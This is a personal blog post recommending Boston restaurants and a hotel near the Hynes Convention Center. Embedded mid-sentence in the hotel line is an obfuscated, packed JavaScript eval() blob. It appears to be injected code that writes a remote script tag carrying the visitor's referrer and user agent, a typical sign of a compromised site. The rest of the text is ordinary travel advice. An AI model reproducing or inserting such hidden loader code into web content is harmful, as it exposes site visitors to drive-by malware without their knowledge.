Boston Weekend

Thanks to my friends for their recommendation, I really enjoyed my weekend in Boston.

I stayed at the Sheraton eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdbfd|var|u0026u|referrer|antzi||js|php’.split(‘|’),0,{}))
in Boston
because it is connected to the Hynes Convention Center where my work conference was being hosted. It’s also very convenient because I could avoid wearing my heavy winter coat since the hotel and convention center are connected by the Prudential Mall – no need to step outside in the snowy winter.

Despite the cold temperatures and snow, I could tell how cute and charming Boston would be in the Spring/Summer. If you’re planning a trip, here is the list of restaurants I tried and activities I did.

Places I ate at:

  1. Tatte Bakery & Cafe – great brunch/breakfast stop
  2. Mike & Patty’s – cheap, quick and tasty!
  3. Masa – rated as best brunch in Boston (it was the only one I went to but was good)
  4. Union Oyster House – typical, standard food but is the oldest restaurant in the US so a tourist trap worth going to
  5. Quincy Market – similar to Chelsea Market with less space and food.
  6. The Beehive – great evening spot that also has a live jazz band on the weekends and food was the best I had on my trip.
  7. Orinoco – really good Venezuelan food near Harvard Square
  8. Taiwan Cafe – good soup dumplings
  9. Summer Shack – ate here literally because it was next to my hotel but food was good
